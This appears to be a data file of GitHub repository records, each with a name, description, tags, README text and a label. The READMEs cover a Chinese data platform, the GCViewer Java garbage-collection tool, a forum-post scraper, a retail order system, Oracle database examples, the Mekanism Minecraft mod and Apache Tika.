birdLark/LarkMidTable | LarkMidTable 是一站式开源的数据中台，实现中台的 基础建设，数据治理，数据开发，监控告警，数据服务，数据的可视化，实现高效赋能数据前台并提供数据服务的产品。 | datax flink flink-cdc flink-sql flinkx seatunnel | # LarkMidTable
[](https://www.apache.org/licenses/LICENSE-2.0.html)
[中文](README.md)| [English](README_EN.md)
LarkMidTable 中文名称 云雀，云代表大数据，雀代表平凡和自由。
LarkMidTable 是一站式开源的数据中台，实现元数据管理，数据仓库开发，数据质量管理，数据的可视化，实现高效赋能数据前台并提供数据服务的产品。
[](#)
# **产品愿景**
1.满足许多的小企业，提供一站式的解决方案。
2.做出世界级别，能够媲美BAT大厂的产品。
3.创造价值，产生价值，让世界变得更加美好。
# 产品架构图
# 产品技术选型
| 组件 | 用途 |
| ------------------------ | ---------- |
| clickhouse/doris | 离线数仓 |
| kafka | 实时数仓 |
| datax,flinkx | 数据集成 |
| flink,flinkcdc,seatunnel | 数据开发 |
| promicuse | 数据监控 |
| druid | 数据服务 |
| datart | 数据可视化 |
| cdh | 大数据平台 |
| dolphin | 任务调度 |
# 产品效果图
**系统演示地址**：www.larkmidtable.com
**温馨提示： 目前系统暂时只开源 数据集成模块，数据集成模块 我们毫无保留全部开源，其他部分如果需要购买，我们将以市场最低价进行售卖。**
**只有这样开源才可能做的更好，走的更远，请各位大佬多多体谅，其他模块，辛苦挣钱就不要再白嫖了，花一点点钱购买，求各位大佬，给弟弟一条活路，希望有识之士，以及伙伴，我们能够一起合作。如果找我没有及时回复，那我就忙去了，如果不忙，我会第一时间回复大家的。**
**目前演示环境 只供 测试 和 商业赞助的客户 使用，服务器流量有限谢谢合作，赞助后加微信 LarkMidTable2021 ，可以领取大数据学习资料 以及 演示地址的用户名和密码**
# 商业赞助
目前创业的初期，开源项目需要资金维护，比如买服务器，以及开源团队的运维，社区的运营，如果你觉得项目不错，可以进行赞助
项目金额： 1589.67元
目前赞助的人员：
| 人员 | 金额 | | 人员 | 金额 | | 人员 | 金额 | |
| ------------ | ------ | ---- | -------------------- | ------- | ---- | ---------- | ---- | ---- |
| LarkMidTable | 10元 | | LarkMidTable的女朋友 | 200元 | | 王健 | 66元 | |
| 头发永远茂密 | 10元 | | moyu1109 | 10元 | | 愚石 | 20元 | |
| 朱江 | 10元 | | 相故如初 | 10元 | | Googol | 20元 | |
| 张金峰 | 100元 | | N*s | 10元 | | N*L | 10元 | |
| hbsywy2004 | 10元 | | 黄卫峰 | 10元 | | 张磊 | 10元 | |
| *狸 | 15元 | | 石良君 | 10元 | | 来自你的国 | 10元 | |
| 光阳 | 200元 | | 初见 | 20元 | | 陆江辉 | 66元 | |
| 大头鲨 | 10元 | | ybZeng | 16.66元 | | 超级生 | 88元 | |
| 飞 | 20元 | | 农民 | 66元 | | 夏熬 | 10元 | |
| ken | 10元 | | 胖虎 | 10元 | | 何世杰 | 10元 | |
| junior | 50元 | | s*y | 50元 | | *辉 | 20元 | |
| ^-^ | 30元 | | 婉瑜 | 50元 | | 城府 | 10元 | |
| 祝付昆 | 66元 | | 郭晓明 | 10元 | | 曾云林 | 10元 | |
| 疯狂的挖掘机 | 66元 | | 纸 | 10元 | | 雅轩 | 10元 | |
| 侧耳聆听 | 10元 | | 哈哈 | 20元 | | 恒古指针 | 20元 | |
| 微众银行 | 0.01元 | | | | | | | |
**疯狂的挖掘机 提供域名 www.larkmidtable.cn 和 服务器3台，一台官网，一台数据库，一台放演示的产品**
# **快速开始**
安装手册 [安装手册](./larkmidtable-doc/userGuid.md)
操作手册 [操作手册](./larkmidtable-doc/userManual.md)
开发人员和任务分配 [开发人员和任务分配](./larkmidtable-doc/engineer.md)
# 应用领域
智慧校园 、智慧交通 、智慧金融 、智慧农业、智慧医疗、智慧政务 等多个大数据领域
# 技术交流
**一个人走的很快，一群人走的更远。**
**关注微信公众号 【LarkMidTable】，并回复【LarkMidTable】，获取微信后，加我拉你到微信群，并为你提供全程免费服务，你也可以与其他伙伴交流大数据技术，如果觉得项目不错，可以star关注，LarkMidTable团队将十分感谢您的关注！**
| 0 |
chewiebug/GCViewer | Fork of tagtraum industries' GCViewer. Tagtraum stopped development in 2008, I aim to improve support for Sun's / Oracle's java 1.6+ garbage collector logs (including G1 collector) | null | GCViewer 1.36
=============
[](https://app.travis-ci.com/chewiebug/GCViewer)
[](https://codecov.io/github/chewiebug/GCViewer?branch=develop)
[](https://sourceforge.net/projects/gcviewer/files)
GCViewer is a little tool that visualizes verbose GC output
generated by Sun / Oracle, IBM, HP and BEA Java Virtual Machines. It
is free software released under GNU LGPL.
You can start GCViewer (gui) by simply double-clicking on gcviewer-1.3x.jar
or running java -jar gcviewer-1.3x.jar (it needs a java 1.8 vm to run).
For a cmdline based report summary just type the following to generate a report (including optional chart image file):
`java -jar gcviewer-1.3x.jar gc.log summary.csv [chart.png] [-t PLAIN|CSV|CSV_TS|SIMPLE|SUMMARY]`
When logfile rotation (-XX:+UseGCLogFileRotation) is enabled, the logfiles can be read at once:
`java -jar gcviewer-1.3x.jar gc.log.0;gc.log.1;gc.log.2;gc.log.current summary.csv [chart.png] [-t PLAIN|CSV|CSV_TS|SIMPLE|SUMMARY]`
Supported verbose:gc formats are:
- some support for OpenJDK 9 / 10 unified logging format -Xlog:gc:<file>, the following configurations will work
- -Xlog:gc:file="path-to-file" (uses defaults)
- -Xlog:gc=info:file="path-to-file":tags,uptime,level (minimum configuration needed)
- -Xlog:gc*=trace:file="path-to-file":tags,time,uptime,level
(maximum configuration supported, additional tags ok, but ignored; additional decorations will break parsing)
- Oracle JDK 1.8 -Xloggc:<file> [-XX:+PrintGCDetails] [-XX:+PrintGCDateStamps]
- Sun / Oracle JDK 1.7 with option -Xloggc:<file> [-XX:+PrintGCDetails] [-XX:+PrintGCDateStamps]
- Sun / Oracle JDK 1.6 with option -Xloggc:<file> [-XX:+PrintGCDetails] [-XX:+PrintGCDateStamps]
- Sun JDK 1.4/1.5 with the option -Xloggc:<file> [-XX:+PrintGCDetails]
- Sun JDK 1.2.2/1.3.1/1.4 with the option -verbose:gc
- IBM JDK 1.3.1/1.3.0/1.2.2 with the option -verbose:gc
- IBM iSeries Classic JVM 1.4.2 with option -verbose:gc
- HP-UX JDK 1.2/1.3/1.4.x with the option -Xverbosegc
- BEA JRockit 1.4.2/1.5/1.6 with the option -verbose:memory [-Xverbose:gcpause,gcreport] [-Xverbosetimestamp]
Best results for non unified gc logging Oracle JDKs are achieved with: -Xloggc:<file> -XX:+PrintGCDetails -XX:+PrintGCDateStamps.
A few other options are supported, but most of the information generated is ignored by GCViewer
(the javadoc introduction of
https://github.com/chewiebug/GCViewer/blob/master/src/main/java/com/tagtraum/perf/gcviewer/imp/DataReaderSun1_6_0.java
shows the details).
Hendrik Schreiber wrote GCViewer up to 1.29. What you are seeing here is based
on his very good work.
Links to detailed descriptions of many JVM parameters relevant to garbage collection
can be found in the links section of https://github.com/chewiebug/GCViewer/wiki
Results of log analysis
=======================
There are two sections, where the results of the log analysis are shown.
One is the left side with the chart, the other the data panel on the right side.
In the following, the content of these sections is explained.
Chart
-----
GCViewer shows a number of lines etc. in a chart (first tab). These are:
- Full GC Lines:
- Black vertical line at every Full GC
- Inc GC Lines:
- Cyan vertical line at every Incremental GC
- GC Times Line:
- Green line that shows the length of all GCs
- GC Times Rectangles:
- black rectangle at every Full GC
- blue rectangle at every initial mark event
- orange rectangle at every remark event
- red rectangle at every vm operation event ("application stopped...")
- Grey rectangle at every 'normal' GC
- Light grey rectangle at every Incremental GC
- Total Heap:
- Red line that shows heap size
- Tenured Generation:
- Magenta area that shows the size of the tenured generation
(not available without PrintGCDetails)
- Young Generation:
- Orange area that shows the size of the young generation
(not available without PrintGCDetails)
- Used Heap:
- Blue line that shows used heap size
- Initial mark level:
- Yellow line that shows the heap usage at "initial-mark" event
(only available when the gc algorithm uses concurrent
collections, which is the case for CMS and G1)
- Concurrent collections
- Cyan vertical line for every begin (concurrent-mark-start)
and pink vertical line for every end (CMS-concurrent-reset /
G1: concurrent-cleanup-end) of a concurrent collection cycle
Event details
-------------
In the second tab it shows details about the events it parsed:
E.g. events like the following
24.187: [GC 24.188: [ParNew: 93184K->5464K(104832K), 0.0442895 secs] \
93184K->5464K(1036928K), 0.0447149 secs] \
[Times: user=0.39 sys=0.07, real=0.05 secs]
are shown in one line as
GC ParNew: <number of events parsed>, <min duration>, <max duration>...
Events like these
4183.962: [Full GC 4183.962: [CMS: 32957K->40326K(932096K), 2.3313389 secs] \
76067K->40326K(1036928K), [CMS Perm : 43837K->43453K(43880K)], 2.3339606 secs] \
[Times: user=2.33 sys=0.01, real=2.33 secs]
are shown as
Full GC; CMS; CMS Perm <number of events parsed> ...
So for every line the text is extracted (not always every part of it). This allows
a user which is familiar with the text log files to find out more details about
the events that occurred.
### median, 75th...
These columns show the median, 75th percentile etc.
### Gc pauses
This are shows all stop-the-world pauses, that are not full gc pauses.
### Full gc pauses
In this area all pauses are shown, which GCViewer considers as "full gc"
pauses. The current definition of a "full gc" is: Either the gc algorithm
prints "full gc" in its event name, or more than one generation (young,
old, permgen / metaspace) were involved during collection.
### VM operations overhead (safepoint pauses)
This area is only shown, if the gc log was written with the option
-XX:+PrintGCApplicationStoppedTime. To understand the meaning of this
metric, it is important to know about safepoints (see e.g.
http://blog.ragozin.info/2012/10/safepoints-in-hotspot-jvm.html).
If GCViewer finds gc log lines like the following:
2017-03-29T14:37:12.812+0200: 8.832: [GC (Allocation Failure) \
[PSYoungGen: 29146K->3457K(29184K)] 78228K->52539K(116736K), 0.0009340 secs] \
[Times: user=0.00 sys=0.00, real=0.00 secs]
2017-03-29T14:37:12.813+0200: 8.833: Total time for which application \
threads were stopped: 0.0010682 seconds, Stopping threads took: 0.0000155 seconds
GCViewer will report one event in the "Gc pauses" area and one in this area.
The pause duration reported for "Total time..." will be 0.0001342s
(0.0010682 (duration of safepoint pause) - 0.0009340 (duration of gc pause))
So GCViewer only calculates the additional overhead needed for the whole
safepoint on top of the gc pause.
If the event immediately before the "Total time..." event was not a any
kind of gc pause, but another "Total time..." event, then the whole pause
for "Total time..." will be recorded for this event. In this case the
safepoint was not caused by a gc pause.
### Concurrent GCs
This are contains information about concurrent collection cycles, if
the gc algorithm used them. The time reported here is spent while the
application threads are running. It is possible to read here, how long
concurrent gc operations took until they finished.
Parser
------
In the third tab the output of the parser is shown. If there were warnings
during the parsing process or other output, you can check there.
Data Panel
==========
GCViewer provides some metrics to help you interpret the chart.
Note that some metrics based on averages are shown along with
their standard deviation. If it is obvious that the standard
deviation is fairly big in comparison to the average, the values
are grayed out, indicating that actual values are much smaller
or bigger than the average.
Summary
-------
- Footprint:
- Maximal amount of memory allocated
- Max heap after conc GC:
- Max used heap after concurrent gc.
- Max tenured after conc GC:
- Max used tenured heap after concurrent gc
(followed by % of max tenured / % of max total heap).
- Max heap after full GC:
- Max used heap after full gc. Indicates max live object
size and can help to determine heap size.
- Freed Memory:
- Total amount of memory that has been freed
- Freed Mem/Min:
- Amount of memory that has been freed per minute
- Total Time:
- Time data was collected for (only if timestamp was present in log)
- Acc Pauses:
- Sum of all pauses due to GC
- Throughput:
- Time percentage the application was NOT busy with GC
- Full GC Performance:
- Performance of full collections. Note that all collections
that include a collection of the tenured generation or are
marked with "Full GC" are considered Full GC.
- GC Performance:
- Performance of minor collections. These are collections that
are not full according to the definition above.
Memory
------
- Total heap (usage / alloc max):
- Max memory usage / allocation in total heap (the last
is the same as "footprint" in Summary)
- Tenured heap (usage / alloc max):
- Max memory usage / allocation in tenured space
- Young heap (usage / alloc max):
- Max memory usage / allocation in young space
- Perm heap (usage / alloc max):
- Max memory usage / allocation in perm space
- Max tenured after conc GC:
- see in "summary" section
- Avg tenured after conc GC:
- average size of tenured heap after concurrent collection
- Max heap after conc GC:
- see in "summary" section
- Avg heap after conc GC:
- average size of concurrent heap after concurrent collection
- Max heap after full GC:
- see in "summary" section
- Avg after full GC:
- The average heap memory consumption after a full collection
- Avg after GC:
- The average heap memory consumption after a minor collection
- Freed Memory:
- Total amount of memory that has been freed
- Freed by full GC:
- Amount of memory that has been freed by full collections
- Freed by GC:
- Amount of memory that has been freed by minor collections
- Avg freed full GC:
- Average amount of memory that has been freed by full collections
- Avg freed GC:
- Average amount of memory that has been freed by minor
collections
- Avg rel inc after FGC:
- Average relative increase in memory consumption between full
collections. This is the average difference between the memory
consumption after a full collection to the memory consumption
after the next full collection.
- Avg rel inc after GC:
- Average relative increase in memory consumption between minor
collections. This is the average difference between the
memory consumption after a minor collection to the memory
consumption after the next minor collection. This can be used
as an indicator for the amount of memory that survives
minor collections and has to be moved to the survivor spaces
or the tenured generation. This value added to "Avg freed GC"
gives you an idea about the size of the young generation in case
you don't have PrintGCDetails turned on.
- Slope full GC:
- Slope of the regression line for the memory consumption after
full collections. This can be used as an indicator for the
increase in indispensable memory consumption (base footprint)
of an application over time.
- Slope GC:
- Average of the slope of the regression lines for the memory
consumption after minor collections in between full collections.
That is, if you have two full collections and many minor
collections in between, GCViewer will calculate the slope for
the minor collections up to the first full collection, then the
slope of the minor collections between the first and the second
full collection. Then it will compute a weighted average (each
slope wil be weighted with the number of measuring points it was
computed with).
- initiatingOccFraction (avg / max)
- CMS GC kicks in before tenured generation is filled.
InitiatingOccupancyFraction tells you the avg / max usage in % of the
tenured generation, when CMS GC started (initial mark).
This value can be set manually using
-XX:CMSInitiatingOccupancyFraction=<value>.
- avg promotion
- Promotion means the size of objects that are promoted from young
to tenured generation during a young generation collection.
Avg promotion shows the average amount of memory that is promoted
from young to tenured with each young collection (only available
with PrintGCDetails)
- total promotion
- Total promotion shows the total amount of memory that is promoted
from young to tenured with all young collections in a file (only
available with PrintGCDetails)
Pause
-----
- Acc Pauses:
- Sum of all pauses due to any kind of GC
- Number of Pauses:
- Count of all pauses due to any kind of GC
- Avg Pause:
- Average length of a GC pause of any kind
- Min / max Pause:
- Shortest /longest pause of any kind
- Avg pause interval:
- avg interval between two pauses of any kind
- Min / max pause interval:
- Min / max interval between two pauses of any kind
* * *
- Acc full GC:
- Sum of all pauses due to full collections
- Number of full GC pauses:
- Count of all pauses due to full collections
- Acc GC:
- Sum of all full GC pauses
- Avg full GC:
- Average length of a full GC pause
- Min / max full GC pause:
- Shortest / longest full GC pause
- Min / max full GC pause interval:
- Min / max interval between two pauses due to full collections
* * *
- Acc GC:
- Sum of all pauses due to minor collections
- Number of GC pauses:
- Count of all pauses due to minor collections
- Avg GC:
- Average length of a minor collection pause
- Min / max GC pause:
- Shortest / longest minor GC pause
Notes
=====
This is not a perfect tool. However, GCViewer can help you
getting a grip on finding out what's going on in your application
with regards to garbage collection.
Here are some known limitations.
IBM JDKs
--------
If you have problems with the IBM format, please check that
every line of information is really in one line and not wrapped.
The IBM format actually provides a lot more information than is
visualized.
Sun JDK 1.3.1/1.4 with -verbose:gc
----------------------------------
Sun JDK 1.3.1/1.4 with -verbose:gc does not provide a timestamp.
Therefore values like 'Total Time', 'Throughput', and 'Freed Mem/Min'
cannot be calculated.
Sun / Oracle JDK 1.6 / 1.7 / 1.8 (a.k.a. Java 6 / 7 / 8)
---------------------------
CMS and G1 collector sometimes mix concurrent events with stop the world
collections in the output. In some cases the parser can recover from
such mixed lines, sometimes it can't and will show an error message.
BEA JRockit 1.4.2/1.5/1.6
-------------------------
Concurrently collected garbage may not be reflected correctly in the
data panel.
Export formats
--------------
**CSV** Comma Separated Values
The CSV format is quite useful for importing the data to a
spreadsheet application. However, it does not export all
data.
**CSV_TS** Comma Separated Values
CSV format using unix timestamp and one line per gc event.
**PLAIN** Plain Data
Plain text representation of the gc log. If written from Sun / Oracle gc log
it is usually compatible with HPjmeter.
**SIMPLE** Simple GC Log
Very simple representation of a gc log in the format
<name of event> <secondes since start of log> <pause time>.
This format is compatible with gchisto (http://java.net/projects/gchisto)
**SUMMARY**
Detailed summary exporting all details about a gc log file (same as shown in data panel).
Internationalization
--------------------
Provided are a German, an English and a Swedish localStrings.properties
file. If someone feels the need to translate these to another
language, please do so. I will be more than glad, to include it
in a future version of this tool.
Start of log / absolute times
-----------------------------
If you happen to know when the application and GC log was started, you
can specify this time by right-clicking on the time ruler and entering
a start time.
Sun / Oracle VMs: If -XX:+PrintGCDateStamps was used, the proposed start time is
read from the gc log file.
Bug reports
-----------
If you are a developer, you may fork (http://help.github.com/fork-a-repo/)
the repository on http://github.com/chewiebug/GCViewer and send me a
pull request (http://help.github.com/send-pull-requests/). If you plan a bigger
change I'd appreciate a notice in advance.
To file a bug report, please open an issue on
http://github.com/chewiebug/GCViewer/issues or send an email to
gcviewer-info@googlegroups.com with a description of the error, the
name of the JVM that produced the GC data and all used flags along
with a sample GC log file.
Building GCViewer from Source
-----------------------------
Download and install Maven3 from http://maven.apache.org/
Download the src distribution of GCViewer.
Execute from the GCViewer base directory (same as pom.xml):
mvn clean install
The executable jar will be placed in the target directory.
Enjoy!
Joerg Wuethrich
http://github.com/chewiebug/GCViewer
gcviewer@gmx.ch
| 0 |
wenbochang888/house | 有完整版的PDF下载。 | httpclient java jsoup | # **<a href = "#">点点右上角Star，感谢支持，谢谢.</a>**
- ### **<a href = "https://github.com/wenbochang888/house/raw/final/house.pdf">点我下载PDF文档(KK大神)</a>**
- ### **<a href = "https://github.com/wenbochang888/house/raw/final/house2.pdf">点我下载PDF文档(子房大神)</a>**
- ### **<a href = "https://github.com/wenbochang888/house/raw/final/house3.pdf">点我下载PDF文档(大鹏金翅明王)</a> 2021.11.6更新**
- #### **<a href = "https://bobo-person.feishu.cn/docx/Tw8ldmpRwo34gAxQDqhcfOFanYd">下载失败、网络出错，请点击这里。备用下载地址</a>**
- #### **<a href = "https://github.com/wenbochang888/house/issues">其他问题，欢迎issues留言</a>**
- #### **<a href = "https://www.zhihu.com/question/284939230/answer/483437087">知乎回答被删了, 谁提供下快照，可以issue里面提供下，谢谢</a>**
### 微信小程序在线阅读：博博的小玩意
### **前言：**
- 本人对经济一些比较感兴趣，也比较经常关注新闻，逛逛论坛什么的。
- 刚看到知乎一个问题 <a href = "https://www.zhihu.com/question/284939230/answer/449853894"> **房价真的会就这样一直涨下去吗？**</a> 感慨甚多
- 里面提到了一篇2010年天涯社区的一篇帖子 <a href = "https://bbs.tianya.cn/m/post-house-252774-1.shtml">2010年的房地产调控，我们收获了什么？写在房价暴涨前</a>
- 这篇天涯的帖子，**现在2018年，在当时的2010年完全预测到了中国房价的趋势**
- **并且当时楼主买了三套房，现在估计已经赚翻了**
- 秉着对大神的憧憬，本人又是学计算机的，既然帖子内容这么好
- 那爬下来了，说动手就动手
- <a href = "http://bbs.tianya.cn/post-house-252774-1.shtml">2010年的房地产调控，我们收获了什么？写在房价暴涨前</a>
- <a href = "http://bbs.tianya.cn/post-house-447880-1.shtml">北京十年房子故事</a>
- <a href = "https://yidukf.com/read_130150_8069.html">因为贱，所以生活艰辛！告诉你们真相，你们会更绝望
</a>
- <a href = "http://bbs.tianya.cn/post-house-782707-1.shtml">读KK大神《2010年的房地产调控，我们收获了什么？》笔记分享贴
</a>
### 运用技术
- SpringBoot
- HttpClient
- JSoup
- 正则
> 突然不知道为什么火了，仅仅相比于仓库其他个位数的项目
>
> 这个项目于2018年创立，当时仅仅想把帖子爬下来。**并没有注意一些代码的格式、风格、可用性等等**
>
> 因此本项目并不适合学习，仅仅是一个爬取天涯帖子的工具而已。其技术十分的简单，对于已经工作的，没有任何参考意义
>
> 如楼主最近有时间，会选择将其重构，不过暂时无重构打算。
>
> 于 2021/09/06 晚9点
### 成果
- PDF文档已经放于Github，欢迎下载浏览
- Github地址：<a href = "https://github.com/wenbochang888/house">wenbochang888-house</a>，欢迎给我一个小小的star
- PDF在线浏览地址(可能加载缓慢)：<a href = "https://github.com/wenbochang888/house/blob/master/house.pdf">房价PDF版本</a>
- PDF下载地址：<a href = "https://github.com/wenbochang888/house/raw/master/house.pdf">点我下载</a>
### Stargazers over time
[](https://starchart.cc/wenbochang888/house)
| 0 |
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<p align="center">
[](http://hits.dwyl.com/eeveek/oms)
[](https://github.com/eeveek/oms/issues)
[](https://github.com/eeveek/oms/network)
[](https://github.com/eeveek/oms/stargazers)
[](https://github.com/eeveek/oms/blob/master/LICENSE)
</p>
# 🔺[开源的新零售业务中台OMS](https://www.k8s9.com)
```
全渠道一盘货订单管理系统OMS,基于业内领先的微服务架构，打造电商通用业务中台，实现快速部署，助力企业加速实现业务一体化与数字化转型。企业可以处理来自所有渠道的订单，降低库存仓位将资金周转率提升至少50%，减少占订单金额2%-10%左右的内部损耗，将开发部署周期减少到几周内，将开发成本控制在百万元左右，能自主可控的让系统跟上业务的变化。
```
## 🔺介绍
```
项目业务中台OMS全渠道一盘货订单管理系统的内核是通过打造通用的中台系统，实现快速部署，并帮助企业后续自主进行开发迭代，来帮助企业实现数字化转型。
提供的中台系统包括：通用业务中台、强大的技术中台、后续开发方案的设计，技术及管理人员的培训等。
其中业务中台通过将订单、库存、财务、商品、营销等业务管理起来，构造适应新零售条件下管理模式的系统，帮助企业实现数字化条件下的转型升级。
技术中台通过微服务架构，流水线自动部署等，实现让水平一般的程序员开发高复杂度的中台系统，降低企业在技术上的投入。
经过方案设计和人员培训后，会为企业培养出一只自主可控有水平的技术团队，方便企业后续自主的开发系统，以跟得上快速变化的市场环境，减少总体的上线时间，降低企业运营成本。
```
__帮助企业和个人解决以下的问题__
```
1、全渠道订单，及线上线下订单难以融合处理的问题。
2、库存无法共享处理，库存仓位过重的问题。
3、财务无法实时统计，单单处理，资金周转率过低的问题。
4、商品、价格、营销、权限等数据各自分散，无法综合管理，造成大量内部损耗的问题。
5、开发周期长，人员要求高，成本高，整体迭代受制于人的问题。
6、市场变化太快，系统无法及时跟得上业务的问题。
```
## 🔺软件展示和业务架构
__业务架构__
通过汇总源于京东、淘宝、天猫、抖音和拼多多等渠道订单，并在业务中台内部转化成内部订单，整合订单中心和采购中心与库存中心、财务中心的业务流程，使企业的订单、库存和财务三方数据形成铁三角。
__技术架构__
基于spring cloud 微服务框架 支持多租户体系 微服务工作流Zeebe和activiti 报表自定义等功能，除了上述的应用功能，还将Redis、MyBatis、分布式事务saga、分布式锁和检索等一系列服务组件化，便于二次开发。
## 🔺特技
__云原生__
```
基于分布部署和统一运管，以分布式云，以容器、微 服务、DevOps等技术为基础建立技术产品体系
```
__开发__
```
包括集成GitLab的代码统一管理能力、支持多种类型的制品库管理能力、集成CI/CD的自动化流水线、内建的代码扫描与质量分析，全流程跟进开发过程
```
__部署__
```
包括集群管理、环境管理、资源管理，支持集群与环境的统一管理和集中分配，支持自动化部署流水线与一键式的手工部署，高效灵活地支撑产品运维
```
__测试__
```
包括测试用例管理、测试计划管理、测试执行管理、缺陷管理、 测试报告管理，支持手工测试并提供API测试、性能测试、流量 回归测试、UI测试等自动化测试能力，测试任务还可嵌入开发流 水线，持续测试有效保障产品质量
```
## 🔺联系方式和试用
```
演示地址：https://www.k8s9.com/ 点击导航栏上的免费试用 用户名：demo 密码:abcd1234
微信:blowbing
```
 
## 🔺安装教程
## 🔺使用说明
## 🔺参与贡献
| 0 |
oracle-samples/oracle-db-examples | Examples of applications and tool usage for Oracle Database | database java oracle oracle-11g oracle-12c oracle-19c oracle-autonomous-database oracle-database oracle-db sql | # oracle-db-examples
This repository stores a variety of examples demonstrating how to use the Oracle Database.
| Repo/Folder name | Description |
| ------------- | ------------- |
| [C](./C) | C examples |
| [apex](./apex) | APEX examples |
| [db-sample-schemas](https://github.com/oracle/db-sample-schemas) | Git submodule of the Oracle Database Sample Schemas |
| [dotnet](https://github.com/oracle/dotnet-db-samples) | .NET based examples |
| [exadata](./exadata) | Exadata examples |
| [java](./java) | Java examples |
| [javascript](./javascript) | JavaScript examples |
| [machine-learning](./machine-learning) | Oracle Machine Learning examples |
| [optimizer](./optimizer) | Oracle Optmizer and Optimizer Stats examples |
| [plsql](./plsql) | PL/SQL examples |
| [python](./python) | Python examples |
| [ruby](./ruby) | Ruby examples |
| [sagas](./sagas) | Saga examples |
| [security](./security) | Security features examples |
| [spatial](./spatial) | Spatial features examples |
| [sql](./sql) | SQL examples |
| [sqldeveloper](./sqldeveloper) | [SQL Developer](http://www.oracle.com/technetwork/developer-tools/sql-developer/) examples |
| [txeventq](./txeventq) | TxEventQ examples |
## Documentation
You can find the online documentation of the Oracle Database under [docs.oracle.com/en/database/](http://docs.oracle.com/en/database/)
## LiveSQL
Some of the examples that you see within this repository can be executed in the free web-based tool: [LiveSQL.oracle.com](https://livesql.oracle.com).
LiveSQL is also an excellent resource for getting started with Oracle Database.
## Dev Gym
If you would like to challenge yourself, you can take quizzes, workouts and classes at [DevGym.oracle.com](https://devgym.oracle.com).
## Contributing
This project welcomes contributions from the community. Before submitting a pull request, please [review our contribution guide](./CONTRIBUTING.md)
## Security
Please consult the [security guide](./SECURITY.md) for our responsible security vulnerability disclosure process
## License
You may not use the identified files except in compliance with the
Apache License, Version 2.0 (the "License.")
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0. A copy of the license is
also reproduced in [LICENSE.md](./LICENSE.md)
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied.
See the License for the specific language governing permissions and
limitations under the License.
| 0 |
mekanism/Mekanism | A mod for Minecraft | null | 
# Mekanism for Minecraft 1.20 #
Mekanism is an independent Minecraft add-on featuring high-tech machinery that can be used to create powerful tools,
armor, and weapons. You can find more detail on the features on the [**Official Wiki**](https://wiki.aidancbrady.com/wiki/Mekanism).
With features ranging from jetpacks and balloons to factories and energy cubes, the mod does not have a single unifying goal.
Nevertheless, these features combine coherently to create a rich gameplay experience that players will enjoy.
Mekanism uses a tier-based system to organize the majority of its core features, like energy cubes and factories.
There are four tiers: basic, advanced, elite, and ultimate. Players can upgrade their components to the next tier
by placing each component in a crafting grid and surrounding it with the necessary resources for the upgrade or in
world by using tier installers.
After using Mekanism for a while, players can obtain a near-indestructible suit of Refined Obsidian Armor, receive five
ingots for each ore mined, fly with hydrogen-powered jetpacks, and have cute robotic friends following them around while they mine. :)
# Discord #
Mekanism has a [discord server](https://discord.gg/nmSjMGc) where you can chat with other Mekanism users and the developers. Join us!
# Translating #
If you would like to help translate Mekanism, you can do so through [Crowdin](https://crowdin.com/project/mekanism).
# License #
Mekanism is licensed under the MIT license. You may use it in modpacks, reviews, or any other form as long as you abide by the terms below.
Copyright 2017-2023 Aidan C. Brady
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
# Maven #
Mekansim v10+ is also available via [ModMaven](https://modmaven.dev/) for developers wishing to make use of our API. Big thanks to K4Unl for hosting.
Update your `build.gradle` file to include the following:
```groovy
repositories {
maven { url 'https://modmaven.dev/' }
}
dependencies {
compileOnly "mekanism:Mekanism:${mekanism_version}:api"
// If you want to test/use Mekanism & its modules during `runClient` invocation, use the following
runtimeOnly fg.deobf("mekanism:Mekanism:${mekanism_version}")// Mekanism
runtimeOnly fg.deobf("mekanism:Mekanism:${mekanism_version}:additions")// Mekanism: Additions
runtimeOnly fg.deobf("mekanism:Mekanism:${mekanism_version}:generators")// Mekanism: Generators
runtimeOnly fg.deobf("mekanism:Mekanism:${mekanism_version}:tools")// Mekanism: Tools
}
```
Add the following to your `gradle.properties` file (see [Maven](https://modmaven.dev/mekanism/Mekanism/) for the list of available versions):
```properties
mekanism_version=1.20.4-10.5.18.39
```
# Credits #
* [aidancbrady](https://twitter.com/aidancbrady) - [Patreon](https://www.patreon.com/user?u=260704)
* thommy101
* [thiakil](https://twitter.com/thiakil)
* [pupnewfster](https://twitter.com/pupnewfster) - [Patreon](https://www.patreon.com/pupnewfster), [Ko-fi](https://ko-fi.com/pupnewfster)
* dizzyd
* unpairedbracket
* [CyanideX](https://twitter.com/theCyanideX) (artwork)
* [Ridanisaurus](https://twitter.com/Ridanisaurus) (artwork)
* Cheapshot (artwork)
* Archadia (artwork)
* micdoodle
* Bluexin
* JaSpr
## YourKit ##
YourKit supports open source projects with innovative and intelligent tools for monitoring and
profiling Java and .NET applications. YourKit is the creator of [YourKit Java Profiler](https://www.yourkit.com/java/profiler),
[YourKit .NET Profiler](https://www.yourkit.com/.net/profiler/) and [YourKit YouMonitor](https://www.yourkit.com/youmonitor/).
Mekanism uses YourKit for all our profiling needs!
| 0 |
apache/tika | The Apache Tika toolkit detects and extracts metadata and text from over a thousand different file types (such as PPT, XLS, and PDF). | content extraction java metadata tika | Welcome to Apache Tika <https://tika.apache.org/>
=================================================
[](http://www.apache.org/licenses/LICENSE-2.0)
[](https://ci-builds.apache.org/job/Tika/job/tika-main-jdk8/)
[](https://ci-builds.apache.org/job/Tika/job/tika-main-jdk8/lastBuild/testReport/)
[](http://search.maven.org/#search|ga|1|g%3A%22org.apache.tika%22)
Apache Tika(TM) is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.
